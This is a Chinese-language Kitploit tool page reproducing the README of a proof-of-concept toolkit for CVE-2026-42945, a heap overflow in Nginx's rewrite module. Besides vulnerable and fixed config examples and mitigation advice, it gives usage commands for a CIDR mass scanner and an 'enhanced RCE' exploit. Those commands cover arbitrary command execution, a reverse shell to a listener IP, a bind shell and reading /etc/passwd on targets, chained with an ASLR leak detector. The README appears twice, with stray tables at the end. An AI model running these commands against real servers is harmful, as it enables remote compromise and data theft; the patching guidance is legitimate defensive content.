Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
工具/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
侦察漏洞分析漏洞利用信息收集Web安全模糊测试渗透测试Payload 开发二进制利用
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

查看仓库
152个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42945 Nginx Rift - PoC 工具包

一个针对 CVE-2026-42945(Nginx Rift)的综合概念验证(PoC)工具包,该漏洞是 Nginx ngx_http_rewrite_module 模块中的一个严重堆缓冲区溢出漏洞。


漏洞概述

字段详情
CVE 编号CVE-2026-42945
漏洞名称Nginx Rift
漏洞类型堆缓冲区溢出
影响组件ngx_http_rewrite_module
危害等级严重(CVSS 9.2)
影响版本Nginx 0.6.27 - 1.30.0
修复版本Nginx 1.30.1 / 1.31.0

漏洞原理

该漏洞源于处理 rewrite 规则时两次内部解析之间的缓冲区大小计算错误。如果配置使用:

  • 未命名正则捕获($1、$2 等)
  • 并且替换字符串中包含 ?

Nginx 在第一遍解析时会错误计算所需缓冲区大小,并在第二遍解析时向已分配堆缓冲区之外写入数据。

脆弱配置示例

root@kitploit:~
server {
    # 有漏洞:未命名捕获 ($1) + 替换字符串中的 '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

安全配置示例(已修复)

root@kitploit:~
server {
    # 安全:命名捕获 (?P<path>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

工具组件

1. nginx_rift_poc.py - 核心 PoC 工具

单目标漏洞扫描与利用工具。

功能:

  • 从 Server 响应头检测 Nginx 版本
  • 检查版本是否在受影响范围内
  • 发送精心构造的 HTTP 请求以触发堆溢出
  • 生成脆弱/安全测试配置

使用示例:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - 批量扫描器

用于并发测试多个目标的批量扫描器。

功能:

  • 多线程扫描(默认 50 线程)
  • 支持从文件或 CIDR 网段加载目标列表
  • JSON 格式输出,便于集成
  • 自动检测 443 端口的 SSL

使用示例:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

目标文件格式:

root@kitploit:~
# 以 # 开头的行是注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - 配置分析器

扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。

功能:

  • 解析 nginx.conf 并跟踪 include 指令
  • 检测替换字符串中带 ? 的未命名捕获
  • 支持自动修复(带备份)
  • 递归目录扫描

使用示例:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱模式(创建 .bak 备份)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 路径
python config_checker.py

4. enhanced_poc.py - 增强版 RCE PoC

基于 depthfirst 官方研究的高级利用工具,支持多种 rewrite 模式和利用方式。

功能:

  • 自动检测 8 种常见脆弱 rewrite 模式(/api/、/redirect/、/user/ 等)
  • 支持多种溢出触发字符(+、&、=、%)
  • 智能负载生成,精确控制溢出大小
  • 多种利用模式:cmd / shell / bind / read
  • 自定义堆/libc 基址(用于 ASLR 关闭环境)
  • 动态构造 spray body,包含伪造的 ngx_pool_cleanup_s

使用示例:

root@kitploit:~
# 自动检测模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址(适用于 ASLR 关闭的目标)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

利用模式说明:

地址配置(仅限 ASLR 关闭环境):

  • --heap-base: 目标堆基址(如 0x555555559000)
  • --libc-base: libc 基址(如 0x7ffff77ba000)
  • --system-addr: 直接指定 system() 地址(覆盖 libc-base)

5. aslr_leak_detector.py - ASLR 信息泄露检测器

用于检测可绕过 ASLR 防护的信息泄露的综合扫描器。

功能:

  • HTTP 响应头泄露检测(Server、X-Powered-By 等)
  • 错误页面分析,查找内存地址和堆栈跟踪
  • Nginx 特定端点探测(/nginx_status、/actuator/* 等)
  • 内存地址泄露检测(64 位指针、堆/libc/栈地址)
  • 通过计时分析进行堆布局探测
  • ASLR 状态推断(开启/关闭/弱)
  • 通过 JSON 报告与 enhanced_poc.py 直接集成

使用示例:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# 使用 SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描模式
python aslr_leak_detector.py -t target.example.com --quick

与增强版 PoC 集成:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:利用泄露的地址进行漏洞利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

漏洞检测指标

PoC 工具通过以下指标识别漏洞:

指标说明
连接断开目标意外关闭连接(worker 进程崩溃)
网关错误HTTP 502/503/504 响应(worker 进程已死)
响应变慢响应时间显著增加(崩溃恢复)
空响应体与基线相比,响应体消失

安装方法

无需外部依赖,仅使用 Python 标准库。

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 运行任意工具
python3 nginx_rift_poc.py --help

影响版本


缓解措施

紧急处置建议

  1. 升级 Nginx 到 1.30.1(稳定版)或 1.31.0(主线版)
  2. 审计配置,检查是否存在脆弱的 rewrite 模式
  3. 在所有运行 Nginx worker 进程的主机上启用 ASLR

配置临时缓解方案

如果无法立即升级补丁,请将未命名捕获替换为命名捕获:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 虚拟补丁

部署 WAF 规则,拦截针对脆弱 rewrite 模式的畸形请求。


免责声明

本工具包仅供授权的安全测试和研究使用。

  • 仅对您拥有或已获得明确测试许可的系统使用
  • 未经授权访问计算机系统是违法的
  • 作者不对本工具的滥用或造成的损害负责
  • 在生产环境使用前,请始终在隔离环境中测试

相关 CVE

此漏洞与另外三个内存破坏问题一同被发现:

CVE描述等级
CVE-2026-42946SCGI/UWSGI 内存分配缺陷高危
CVE-2026-40701OCSP DNS 解析 UAF中危
CVE-2026-42934UTF-8 解析越界读取中危

参考链接

  • F5 安全公告
  • Nginx 安全公告
  • CVE-2026-42945 详情

开源协议

本项目仅供教育用途和授权的安全测试使用。


作者: Security Research Team 日期: 2026-06-11


中文说明 (Chinese Documentation)

漏洞概述

CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。

漏洞原理

在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:

  1. 使用未命名正则捕获(如 $1、$2)
  2. 替换字符串中包含 ? 字符

Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。

脆弱配置示例(有漏洞)

root@kitploit:~
server {
    # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

安全配置示例(已修复)

root@kitploit:~
server {
    # 安全:使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

工具组件说明

1. nginx_rift_poc.py — 核心 PoC 工具

单目标漏洞检测与利用工具。

功能:

  • 从 Server 响应头检测 Nginx 版本
  • 判断版本是否在脆弱范围内
  • 发送精心构造的 HTTP 请求触发堆溢出
  • 生成用于测试的脆弱/安全配置

使用示例:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — 批量扫描器

多线程并发扫描多个目标。

功能:

  • 默认 50 线程并发扫描
  • 支持从文件或 CIDR 网段读取目标
  • JSON 格式输出结果
  • 自动识别 443 端口的 SSL 连接

使用示例:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

目标文件格式:

root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — 配置文件检查器

扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。

功能:

  • 解析 nginx.conf 并递归解析 include 引用的文件
  • 检测包含未命名捕获 + ? 的 rewrite 指令
  • 支持自动修复(自动创建 .bak 备份)
  • 递归扫描目录

使用示例:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — 增强版 RCE PoC

基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。

功能:

  • 自动探测 8 种常见脆弱 rewrite 模式(/api/、/redirect/、/user/ 等)
  • 支持多种溢出触发字符(+、&、=、%)
  • 智能 payload 生成,精确控制溢出大小
  • 多种利用模式:cmd / shell / bind / read
  • 自定义堆/libc 基址(用于 ASLR 关闭环境)
  • 动态构造 spray body,包含 fake ngx_pool_cleanup_s

溢出触发字符扩展表:

使用示例:

root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

利用模式说明:

地址配置(仅 ASLR 关闭环境):

  • --heap-base: 目标堆基址(如 0x555555559000)
  • --libc-base: libc 基址(如 0x7ffff77ba000)
  • --system-addr: 直接指定 system() 地址

5. aslr_leak_detector.py — ASLR 信息泄露检测工具

综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。

功能:

  • HTTP 响应头泄露检测(Server、X-Powered-By 等)
  • 错误页面分析(内存地址、堆栈跟踪)
  • Nginx 特定端点探测(/nginx_status、/actuator/* 等)
  • 内存地址泄露检测(64位指针、堆/libc/栈地址)
  • 堆布局探测(通过响应时间差异推断内存状态)
  • ASLR 状态推断(开启/关闭/弱)
  • 通过 JSON 报告直接与 enhanced_poc.py 集成

使用示例:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

与增强版 PoC 的联动使用:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

漏洞检测指标

PoC 工具通过以下现象判断目标是否存在漏洞:

检测指标说明
连接断开目标异常关闭连接(Worker 进程崩溃)
网关错误返回 HTTP 502/503/504(Worker 进程已死)
响应变慢响应时间显著增加(进程崩溃后自动重启)
空响应体

安装方法

无需安装任何第三方依赖,仅使用 Python 标准库即可运行。

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

影响版本


缓解措施

紧急处置建议

  1. 立即升级 Nginx 到 1.30.1(稳定版)或 1.31.0(主线版)
  2. 审计配置文件 中是否存在脆弱的 rewrite 模式
  3. 开启 ASLR 地址空间布局随机化,增加 RCE 利用难度

临时缓解方案(无法立即升级时)

将未命名捕获替换为命名捕获:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 虚拟补丁

部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。


免责声明

本工具包仅供授权的安全测试和研究用途。

  • 仅对您拥有所有权或已获得明确授权的系统使用本工具
  • 未经授权访问计算机系统是违法行为
  • 作者不对本工具的滥用或造成的损害承担责任
  • 请始终在隔离环境中测试后再用于生产环境

相关漏洞

此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:

CVE 编号描述等级
CVE-2026-42946SCGI/UWSGI 内存分配缺陷高危
CVE-2026-40701OCSP DNS 解析 UAF中危
CVE-2026-42934UTF-8 解析越界读取中危

参考链接

  • F5 安全公告
  • Nginx 安全公告
  • CVE-2026-42945 详情
  • SonicWall 技术分析
  • Cloud Security Alliance 研究报告

开源协议

本项目仅供教育用途和授权安全测试使用。


作者: Security Research Team 日期: 2026-06-11

下载工具
模式说明输出
cmd执行单条 shell 命令目标上的命令输出
shell生成反弹 shell连接回 --listen-ip:listen-port
bind在目标上生成绑定 shell在目标的 --listen-port 上监听
read读取目标上的文件内容写入 /tmp/nginx_rift_read
版本匹配检测到的 Nginx 版本在受影响范围内
产品受影响版本修复版本
Nginx 开源版0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller未打补丁的所有版本更新到已修复版本
Nginx Gateway Fabric未打补丁的所有版本更新到已修复版本
字段详情
CVE 编号CVE-2026-42945
漏洞名称Nginx Rift
漏洞类型堆缓冲区溢出(Heap Buffer Overflow)
影响组件ngx_http_rewrite_module
危害等级严重(CVSS 9.2)
影响版本Nginx 0.6.27 - 1.30.0
修复版本Nginx 1.30.1 / 1.31.0
字符扩展为每字符溢出
+%2B+2 字节
&%26+2 字节
=%3D+2 字节
%%25+2 字节
空格%20+2 字节
模式说明输出
cmd执行单条 shell 命令命令输出保存在目标上
shell生成反弹 shell连接回 --listen-ip:listen-port
bind生成绑定 shell在目标 --listen-port 上监听
read读取目标文件内容写入 /tmp/nginx_rift_read
与基线对比,响应体为空(Worker 已崩溃)
版本匹配检测到的 Nginx 版本在脆弱范围内
产品受影响版本修复版本
Nginx 开源版0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller未打补丁的所有版本更新到已修复版本
Nginx Gateway Fabric未打补丁的所有版本更新到已修复版本